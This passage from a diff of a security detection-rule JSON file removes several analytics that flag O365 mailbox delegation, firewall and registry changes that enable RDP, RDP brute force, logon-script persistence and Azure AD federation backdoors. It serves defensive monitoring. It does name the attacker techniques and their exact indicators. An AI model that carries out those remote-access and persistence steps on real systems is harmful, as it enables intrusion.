the specific operation, and the type of access rights granted. Delegating mailbox rights, especially those as powerful as FullAccess, can pose significant security risks. While there are legitimate scenarios for these permissions, such as an executive assistant needing access to an executives mailbox, there are also malicious scenarios where an attacker or a compromised insider might grant themselves unauthorized access to sensitive mailboxes. Monitoring for these permissions changes is crucial to detect potential insider threats, compromised accounts, or other malicious activities.If the detection is a true positive, it indicates that a user has been granted potentially high-risk permissions on another users mailbox. This could lead to unauthorized access to sensitive emails, impersonation through sending emails as or on behalf of the mailbox owner, or data manipulation by altering or deleting emails. Immediate investigation is required to validate the legitimacy of the permission change and to assess the potential risks associated with the granted access.", - "search": "`o365_management_activity` Operation=Add-MailboxPermission | spath input=Parameters | rename User AS src_user, Identity AS dest_user | search AccessRights=FullAccess OR AccessRights=SendAs OR AccessRights=SendOnBehalf | stats count earliest(_time) as firstTime latest(_time) as lastTime by user src_user dest_user Operation AccessRights |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` |`o365_suspicious_rights_delegation_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has delegated suspicious rights $AccessRights$ to user $dest_user$ that allow access to sensitive", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } } ], "external_reference": [ @@ -682060,763 +459344,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" ] - }, - { - "name": "Allow Inbound Traffic By Firewall Rule Registry", - "description": "The following analytic detects suspicious modifications to firewall rule registry settings that allow inbound traffic on specific ports with a public profile. It leverages data from the Endpoint.Registry data model, focusing on registry paths and values indicative of such changes. This activity is significant as it may indicate an adversary attempting to grant remote access to a machine by modifying firewall rules. If confirmed malicious, this could enable unauthorized remote access, potentially leading to further exploitation, data exfiltration, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\System\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\FirewallRules\\\\*\" Registry.registry_value_data = \"*|Action=Allow|*\" Registry.registry_value_data = \"*|Dir=In|*\" Registry.registry_value_data = \"*|LPort=*\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.dest Registry.user | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `allow_inbound_traffic_by_firewall_rule_registry_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "NjRAT", - "PlugX", - "Prohibited Traffic Allowed or Protocol Mismatch", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious firewall allow rule modifications were detected via the registry on endpoint $dest$ by user $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Allow Inbound Traffic In Firewall Rule", - "description": "The following analytic detects a suspicious PowerShell command that allows inbound traffic to a specific local port within the public profile. It leverages PowerShell script block logging (EventCode 4104) to identify commands containing keywords like \"firewall,\" \"Inbound,\" \"Allow,\" and \"-LocalPort.\" This activity is significant because it may indicate an attacker attempting to establish remote access by modifying firewall rules. If confirmed malicious, this could allow unauthorized access to the machine, potentially leading to further exploitation and data exfiltration.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*firewall*\" ScriptBlockText = \"*Inbound*\" ScriptBlockText = \"*Allow*\" ScriptBlockText = \"*-LocalPort*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `allow_inbound_traffic_in_firewall_rule_filter`", - "tags": { - "analytic_story": [ - "Prohibited Traffic Allowed or Protocol Mismatch" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious firewall modification detected on endpoint $dest$ by user $user$.", - "risk_score": 3, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Desktop Process Running On System", - "description": "The following analytic detects the execution of the remote desktop process (mstsc.exe) on systems where it is not typically run. This detection leverages data from Endpoint Detection and Response (EDR) agents, filtering out systems categorized as common RDP sources. This activity is significant because unauthorized use of mstsc.exe can indicate lateral movement or unauthorized remote access attempts. If confirmed malicious, this could allow an attacker to gain remote control of a system, potentially leading to data exfiltration, privilege escalation, or further network compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=*mstsc.exe AND Processes.dest_category!=common_rdp_source by Processes.dest Processes.user Processes.process | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | `remote_desktop_process_running_on_system_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Hidden Cobra Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Remote Service Rdpwinst Tool Execution", - "description": "The following analytic detects the execution of the RDPWInst.exe tool, which is an RDP wrapper library used to enable remote desktop host support and concurrent RDP sessions. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, original file names, and specific command-line arguments. This activity is significant because adversaries can abuse this tool to establish unauthorized RDP connections, facilitating remote access and potential lateral movement within the network. If confirmed malicious, this could lead to unauthorized access, data exfiltration, and further compromise of the targeted host.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"RDPWInst.exe\" OR Processes.original_file_name=\"RDPWInst.exe\") AND Processes.process IN (\"* -i*\", \"* -s*\", \"* -o*\", \"* -w*\", \"* -r*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_service_rdpwinst_tool_execution_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Rdpwinst.exe executed on $dest$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Remote Services Allow Rdp In Firewall", - "description": "The following analytic detects modifications to the Windows firewall to enable Remote Desktop Protocol (RDP) on a targeted machine. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"netsh.exe\" to allow TCP port 3389. This activity is significant as it may indicate an adversary attempting to gain remote access to a compromised host, a common tactic for lateral movement. If confirmed malicious, this could allow attackers to remotely control the system, leading to potential data exfiltration or further network compromise.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as cmdline values(Processes.parent_process_name) as parent_process values(Processes.process_name) count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = \"netsh.exe\" OR Processes.original_file_name= \"netsh.exe\") AND Processes.process = \"*firewall*\" AND Processes.process = \"*add*\" AND Processes.process = \"*protocol=TCP*\" AND Processes.process = \"*localport=3389*\" AND Processes.process = \"*action=allow*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_services_allow_rdp_in_firewall_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "new firewall rules was added to allow rdp connection to $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Remote Services Allow Remote Assistance", - "description": "The following analytic detects modifications in the Windows registry to enable remote desktop assistance on a targeted machine. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the \"Control\\\\Terminal Server\\\\fAllowToGetHelp\" registry path. This activity is significant because enabling remote assistance via registry is uncommon and often associated with adversaries or malware like Azorult. If confirmed malicious, this could allow an attacker to remotely access and control the compromised host, leading to potential data exfiltration or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Control\\\\Terminal Server\\\\fAllowToGetHelp*\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_services_allow_remote_assistance_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for rdp protocol was modified to enable in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Remote Services Rdp Enable", - "description": "The following analytic detects modifications in the Windows registry to enable Remote Desktop Protocol (RDP) on a targeted machine. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the \"fDenyTSConnections\" registry value. This activity is significant as enabling RDP via registry is uncommon and often associated with adversaries or malware attempting to gain remote access. If confirmed malicious, this could allow attackers to remotely control the compromised host, potentially leading to further exploitation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Control\\\\Terminal Server\\\\fDenyTSConnections*\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_services_rdp_enable_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for rdp protocol was modified to enable in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Desktop Network Bruteforce", - "description": "The following analytic identifies potential Remote Desktop Protocol (RDP) brute force attacks by monitoring network traffic for RDP application activity. It detects anomalies by filtering source and destination pairs that generate traffic exceeding twice the standard deviation of the average traffic. This method leverages the Network_Traffic data model to identify unusual patterns indicative of brute force attempts. This activity is significant as it may indicate an attacker attempting to gain unauthorized access to systems via RDP. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or further network compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where All_Traffic.app=rdp by All_Traffic.src All_Traffic.dest All_Traffic.dest_port | eventstats stdev(count) AS stdev avg(count) AS avg p50(count) AS p50 | where count>(avg + stdev*2) | rename All_Traffic.src AS src All_Traffic.dest AS dest | table firstTime lastTime src dest count avg p50 stdev | `remote_desktop_network_bruteforce_filter`", - "tags": { - "analytic_story": [ - "Ryuk Ransomware", - "SamSam Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "$dest$ may be the target of an RDP Bruteforce", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Desktop Network Traffic", - "description": "The following analytic detects unusual Remote Desktop Protocol (RDP) traffic on TCP/3389 by filtering out known RDP sources and destinations, focusing on atypical connections within the network. This detection leverages network traffic data to identify potentially unauthorized RDP access. Monitoring this activity is crucial for a SOC as unauthorized RDP access can indicate an attacker's attempt to control networked systems, leading to data theft, ransomware deployment, or further network compromise. If confirmed malicious, this activity could result in significant data breaches or complete system and network control loss.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where All_Traffic.dest_port=3389 AND All_Traffic.dest_category!=common_rdp_destination AND All_Traffic.src_category!=common_rdp_source AND All_Traffic.action=\"allowed\" by All_Traffic.src All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(\"All_Traffic\")` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `remote_desktop_network_traffic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Hidden Cobra Malware", - "Ryuk Ransomware", - "SamSam Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -683207,76 +459734,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Logon Script Event Trigger Execution", - "description": "The following analytic detects the modification of the UserInitMprLogonScript registry entry, which is often used by attackers to establish persistence and gain privilege escalation upon system boot. It leverages data from the Endpoint.Registry data model, focusing on changes to the specified registry path. This activity is significant because it is a common technique used by APT groups and malware to ensure their payloads execute automatically when the system starts. If confirmed malicious, this could allow attackers to maintain persistent access and potentially escalate their privileges on the compromised host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path IN (\"*\\\\Environment\\\\UserInitMprLogonScript\") by Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `logon_script_event_trigger_execution_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Registry path $registry_path$ was modified, added, or deleted on $dest$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1037", - "mitre_attack_technique": "Boot or Logon Initialization Scripts", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1037.001", - "mitre_attack_technique": "Logon Script (Windows)", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "Cobalt Group" - ] - } - ] - } } ], "external_reference": [ @@ -683900,551 +460357,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Azure AD New Custom Domain Added", - "description": "The following analytic detects the addition of a new custom domain within an Azure Active Directory (AD) tenant. It leverages Azure AD AuditLogs to identify successful \"Add unverified domain\" operations. This activity is significant as it may indicate an adversary attempting to establish persistence by setting up identity federation backdoors, allowing them to impersonate users and bypass authentication mechanisms. If confirmed malicious, this could enable attackers to gain unauthorized access, escalate privileges, and maintain long-term access to the Azure AD environment, posing a severe security risk.", - "search": " `azure_monitor_aad` operationName=\"Add unverified domain\" properties.result=success | rename properties.* as * | rename targetResources{}.displayName as domain | stats count min(_time) as firstTime max(_time) as lastTime by user, domain, result, operationName, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_new_custom_domain_added_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new custom domain, $domain$ , was added by $user$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.002", - "mitre_attack_technique": "Trust Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD New Federated Domain Added", - "description": "The following analytic detects the addition of a new federated domain within an Azure Active Directory tenant. It leverages Azure AD AuditLogs to identify successful \"Set domain authentication\" operations. This activity is significant as it may indicate the use of the Azure AD identity federation backdoor technique, allowing an adversary to establish persistence. If confirmed malicious, the attacker could impersonate any user, bypassing password and MFA requirements, potentially leading to unauthorized access and control over the Azure AD environment.", - "search": " `azure_monitor_aad` operationName=\"Set domain authentication\" \"properties.result\"=success | rename properties.* as * | rename targetResources{}.displayName as domain | stats count min(_time) as firstTime max(_time) as lastTime by user, domain, result, operationName, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_new_federated_domain_added_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new federated domain, $domain$ , was added by $user$", - "risk_score": 81, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.002", - "mitre_attack_technique": "Trust Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Active Directory Privilege Escalation Identified", - "description": "The following analytic identifies potential privilege escalation activities within an organization's Active Directory (AD) environment. It detects this activity by correlating multiple analytics from the Active Directory Privilege Escalation analytic story within a specified time frame. This is significant for a SOC as it helps identify coordinated attempts to gain elevated privileges, which could indicate a serious security threat. If confirmed malicious, this activity could allow attackers to gain unauthorized access to sensitive systems and data, leading to potential data breaches and further compromise of the network.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Active Directory Privilege Escalation\" All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` 